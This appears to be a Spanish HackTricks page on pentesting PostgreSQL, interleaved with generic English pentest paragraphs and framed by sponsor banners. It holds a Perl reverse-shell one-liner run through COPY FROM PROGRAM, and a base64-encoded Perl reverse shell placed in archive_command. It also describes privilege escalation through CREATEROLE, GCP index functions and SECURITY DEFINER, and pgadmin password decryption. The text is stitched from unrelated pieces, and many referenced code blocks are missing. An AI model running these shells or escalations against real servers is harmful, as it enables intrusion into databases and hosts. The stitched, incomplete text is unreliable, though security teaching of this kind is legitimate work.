Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y automatizar fácilmente flujos de trabajo con las herramientas comunitarias más avanzadas del mundo.\
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Puerto predeterminado:** 5432, y si este puerto ya está en uso, parece que postgresql utilizará el siguiente puerto (probablemente 5433) que no está en uso.
Para realizar pruebas de penetración en PostgreSQL, primero debemos establecer una conexión con el servidor de la base de datos. Podemos utilizar la herramienta `psql` para conectarnos a la base de datos PostgreSQL desde la línea de comandos.
Una vez que nos hemos conectado con éxito al servidor PostgreSQL, podemos realizar una enumeración básica para obtener información sobre la base de datos y sus objetos.
La enumeración básica nos proporciona una visión general de la estructura y los objetos de la base de datos, lo que puede ser útil para futuras pruebas de penetración y explotación.
Según [**esta investigación**](https://www.exploit-db.com/papers/13084), cuando un intento de conexión falla, `dblink` arroja una excepción `sqlclient_unable_to_establish_sqlconnection` que incluye una explicación del error. A continuación se muestran ejemplos de estos detalles.
`DETALLE: no se pudo conectar al servidor: No hay ruta hacia el host ¿El servidor se está ejecutando en el host "1.2.3.4" y aceptando conexiones TCP/IP en el puerto 5678?`
PostgreSQL is an open-source relational database management system (RDBMS) that is widely used in web applications. As a pentester, it is important to understand how to assess the security of PostgreSQL installations and identify potential vulnerabilities.
To identify PostgreSQL installations on a target network, you can perform a port scan using tools like Nmap. By default, PostgreSQL listens on port 5432.
Once you have identified a PostgreSQL service, you can perform banner grabbing to gather information about the version and configuration of the server. This can be done using tools like `telnet` or `nc`.
PostgreSQL does not have any default credentials, but it is common for users to set weak or easily guessable passwords. You can use tools like Hydra or Medusa to perform brute-force attacks against the PostgreSQL authentication system.
PostgreSQL is vulnerable to SQL injection attacks, which can allow an attacker to execute arbitrary SQL queries and potentially gain unauthorized access to the database. You can use tools like SQLMap to automate the process of identifying and exploiting SQL injection vulnerabilities in PostgreSQL.
Once you have gained access to a PostgreSQL database, you can attempt to escalate your privileges to gain administrative access. This can be done by exploiting misconfigurations or vulnerabilities in the database server or by leveraging the privileges of other database users.
### Data Exfiltration
As a pentester, you may need to exfiltrate data from a compromised PostgreSQL database. This can be done using various techniques, such as exporting data to a file, using SQL queries to retrieve specific data, or leveraging other database features to extract information.
Pentesting PostgreSQL involves identifying and exploiting vulnerabilities in the database server to gain unauthorized access or exfiltrate data. By understanding the enumeration, exploitation, and post-exploitation techniques outlined in this chapter, you will be better equipped to assess the security of PostgreSQL installations.
Desafortunadamente, no parece haber una forma de obtener los detalles de la excepción dentro de una función PL/pgSQL. Pero puedes obtener los detalles si puedes conectarte directamente al servidor PostgreSQL. Si no es posible obtener nombres de usuario y contraseñas directamente de las tablas del sistema, el ataque de lista de palabras descrito en la sección anterior podría tener éxito.
| rolsuper | El rol tiene privilegios de superusuario |
| rolinherit | El rol hereda automáticamente los privilegios de los roles de los que es miembro |
| rolcreaterole | El rol puede crear más roles |
| rolcreatedb | El rol puede crear bases de datos |
| rolcanlogin | El rol puede iniciar sesión. Es decir, este rol puede ser utilizado como identificador de autorización de sesión inicial |
| rolreplication | El rol es un rol de replicación. Un rol de replicación puede iniciar conexiones de replicación y crear y eliminar espacios de replicación. |
| rolconnlimit | Para roles que pueden iniciar sesión, esto establece el número máximo de conexiones simultáneas que este rol puede realizar. -1 significa sin límite. |
| rolvaliduntil | Hora de caducidad de la contraseña (solo se utiliza para la autenticación de contraseña); nulo si no hay caducidad |
| rolbypassrls | El rol omite todas las políticas de seguridad a nivel de fila, consulte [Sección 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obtener más información. |
| rolconfig | Valores predeterminados específicos del rol para las variables de configuración en tiempo de ejecución |
Ten en cuenta que en Postgres un **usuario**, un **grupo** y un **rol** son lo **mismo**. Solo depende de **cómo lo uses** y si lo **permites iniciar sesión**.
PostgreSQL uses tables to store data. A table is a collection of rows, where each row represents a record and each column represents a field or attribute of that record.
This statement creates a table named `employees` with four columns: `id`, `name`, `age`, and `salary`. The `id` column is defined as a serial data type, which automatically generates a unique value for each new row.
This statement permanently removes the `employees` table and all its data from the database. Be careful when using this statement, as it cannot be undone.
Tables are an essential component of PostgreSQL databases. Understanding how to view, create, modify, and delete tables is crucial for effective database management.
Functions in PostgreSQL are named blocks of code that can be executed by calling their name. They are used to perform specific tasks and can accept parameters and return values. Functions can be created using the `CREATE FUNCTION` statement and can be written in various programming languages such as SQL, PL/pgSQL, Python, etc.
To create a function in PostgreSQL, you can use the `CREATE FUNCTION` statement followed by the function name, input parameters (if any), return type, and the code block enclosed in a `BEGIN` and `END` block. Here is the syntax:
Functions in PostgreSQL are a powerful feature that allows you to encapsulate reusable code and perform specific tasks. They can be created using the `CREATE FUNCTION` statement and called by using their name followed by the input parameters.
A partir de este [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), los miembros del grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (llamado **`pg_read_server_files`**) y los **superusuarios** pueden utilizar el método **`COPY`** en cualquier ruta (verificar `convert_and_check_filename` en `genfile.c`):
Hay **otras funciones de postgres** que se pueden utilizar para **leer archivos o listar un directorio**. Solo los **superusuarios** y los **usuarios con permisos explícitos** pueden usarlos:
Recuerda que COPY no puede manejar caracteres de nueva línea, por lo tanto, incluso si estás usando una carga útil en base64, **debes enviar una sola línea**.\
Una limitación muy importante de esta técnica es que **`copy` no se puede utilizar para escribir archivos binarios ya que modifica algunos valores binarios**.
**Consejo de recompensa por errores**: **regístrate** en **Intigriti**, una plataforma premium de **recompensas por errores creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy mismo y comienza a ganar recompensas de hasta **$100,000**!
Desde la [versión 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), solo los **superusuarios** y los miembros del grupo **`pg_execute_server_program`** pueden usar copy para RCE (ejemplo con exfiltración:
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
O utiliza el módulo `multi/postgres/postgres_copy_from_program_cmd_exec` de **metasploit**.\
Más información sobre esta vulnerabilidad [**aquí**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Aunque se informó como CVE-2019-9193, Postges declaró que esto era una [característica y no se corregirá](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
Una vez que hayas **aprendido** del post anterior **cómo cargar archivos binarios**, puedes intentar obtener **RCE cargando una extensión de PostgreSQL y cargándola**.
El **archivo de configuración** de PostgreSQL es **editable** por el usuario **postgres**, que es el que ejecuta la base de datos, por lo que como **superusuario** puedes escribir archivos en el sistema de archivos y, por lo tanto, puedes **sobrescribir este archivo**.
*`ssl_passphrase_command = ''` Si el archivo privado está protegido por contraseña (encriptado), PostgreSQL **ejecutará el comando indicado en este atributo**.
*`ssl_passphrase_command_supports_reload = off`**Si** este atributo está **activado**, el **comando** se ejecutará si la clave está protegida por contraseña cuando se ejecute `pg_reload_conf()`.
Al probar esto, noté que solo funcionará si el **archivo de clave privada tiene permisos 640**, es **propiedad de root** y del **grupo ssl-cert o postgres** (para que el usuario postgres pueda leerlo) y se encuentra en _/var/lib/postgresql/12/main_.
Para que esto funcione, la configuración `archive_mode` debe ser `'on'` o `'always'`. Si eso es cierto, entonces podríamos sobrescribir el comando en `archive_command` y forzar su ejecución a través de las operaciones de WAL (write-ahead logging).
Los pasos generales son:
1. Verificar si el modo de archivo está habilitado: `SELECT current_setting('archive_mode')`
2. Sobrescribir `archive_command` con el payload. Por ejemplo, un reverse shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
4. Forzar la ejecución de la operación WAL, que llamará al comando de archivo: `SELECT pg_switch_wal()` o `SELECT pg_switch_xlog()` para algunas versiones de Postgres
**Más** [**información sobre esta configuración y sobre WAL aquí**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
Según la [**documentación**](https://www.postgresql.org/docs/13/sql-grant.html): _Los roles que tienen el privilegio **`CREATEROLE`** pueden **conceder o revocar membresía en cualquier rol** que **no sea** un **superusuario**._
Entonces, si tienes el permiso **`CREATEROLE`**, podrías otorgarte acceso a otros **roles** (que no sean superusuario) que te pueden dar la opción de leer y escribir archivos y ejecutar comandos:
Es bastante común encontrar que los **usuarios locales pueden iniciar sesión en PostgreSQL sin proporcionar ninguna contraseña**. Por lo tanto, una vez que hayas obtenido **permisos para ejecutar código**, puedes abusar de estos permisos para obtener el rol de **`SUPERUSER`**:
En [este **informe**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) se explica cómo fue posible realizar una **escalada de privilegios** en Postgres GCP abusando del privilegio ALTER TABLE que se le otorgó al usuario.
Cuando intentas **hacer que otro usuario sea propietario de una tabla**, deberías recibir un **error** que lo impida, pero aparentemente GCP le dio esa **opción al usuario postgres que no es superusuario** en GCP:
Uniendo esta idea con el hecho de que cuando se ejecutan los comandos **INSERT/UPDATE/ANALYZE** en una **tabla con una función de índice**, la **función** se **llama** como parte del comando con los **permisos del propietario de la tabla**. Es posible crear un índice con una función y dar permisos de propietario a un **superusuario** sobre esa tabla, y luego ejecutar ANALYZE sobre la tabla con la función maliciosa que podrá ejecutar comandos porque está utilizando los privilegios del propietario.
4. ALTERAR el propietario de la tabla a cloudsqladmin, el rol de superusuario de GCP utilizado solo por Cloud SQL para mantener y gestionar la base de datos.
5. ANALIZAR la tabla, forzando al motor de PostgreSQL a cambiar al contexto de usuario del propietario de la tabla (cloudsqladmin) y llamar a la función de índice maliciosa con los permisos de cloudsqladmin, lo que resulta en la ejecución de nuestro comando de shell, al cual no teníamos permiso para ejecutar anteriormente.
Algunas instancias de postgresql mal configuradas podrían permitir el inicio de sesión de cualquier usuario local, es posible hacerlo localmente desde 127.0.0.1 utilizando la función **`dblink`**:
Si tienes la contraseña de un usuario con más privilegios, pero el usuario no tiene permitido iniciar sesión desde una IP externa, puedes usar la siguiente función para ejecutar consultas como ese usuario:
\*\*\*\*[**En este informe**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql), los pentesters lograron escalar privilegios dentro de una instancia de postgres proporcionada por IBM, porque **encontraron esta función con la bandera SECURITY DEFINER**:
Como [**se explica en la documentación**](https://www.postgresql.org/docs/current/sql-createfunction.html), una función con **SECURITY DEFINER se ejecuta** con los privilegios del **usuario que la posee**. Por lo tanto, si la función es **vulnerable a la inyección SQL** o realiza alguna **acción privilegiada con parámetros controlados por el atacante**, podría ser abusada para **escalar privilegios dentro de postgres**.
PL/pgSQL, como un **lenguaje de programación completo**, permite un mayor control procedural que SQL, incluyendo la **capacidad de utilizar bucles y otras estructuras de control**. Las declaraciones SQL y los disparadores pueden llamar a funciones creadas en el lenguaje PL/pgSQL.\
**Puede abusar de este lenguaje para solicitar a PostgreSQL que realice un ataque de fuerza bruta a las credenciales de los usuarios.**
[pgadmin](https://www.pgadmin.org) es una plataforma de administración y desarrollo para PostgreSQL.\
Puede encontrar **contraseñas** dentro del archivo _**pgadmin4.db**_.\
Puede descifrarlas utilizando la función _**decrypt**_ dentro del script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba
La autenticación del cliente es controlada por un archivo de configuración frecuentemente llamado _**pg\_hba.conf**_. Este archivo tiene un conjunto de registros. Un registro puede tener uno de los siguientes siete formatos:
**Cada** registro **especifica** un **tipo de conexión**, un **rango de direcciones IP del cliente** (si es relevante para el tipo de conexión), un **nombre de base de datos**, un **nombre de usuario** y el **método de autenticación** que se utilizará para las conexiones que cumplan con estos parámetros. El **primer registro con una coincidencia** en el tipo de conexión, dirección del cliente, base de datos solicitada y nombre de usuario **se utiliza** para realizar la autenticación. No hay una "opción de respaldo" o "alternativa": **si se elige un registro y la autenticación falla, los registros posteriores no se consideran**. Si no hay ningún registro que coincida, se deniega el acceso.\
Los métodos de autenticación basados en contraseña son **md5**, **crypt** y **password**. Estos métodos funcionan de manera similar, excepto por la forma en que se envía la contraseña a través de la conexión: respectivamente, en formato MD5-hashed, encriptada con crypt y en texto claro. Una limitación es que el método crypt no funciona con contraseñas que hayan sido encriptadas en pg\_authid.
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** con las herramientas comunitarias más avanzadas del mundo.\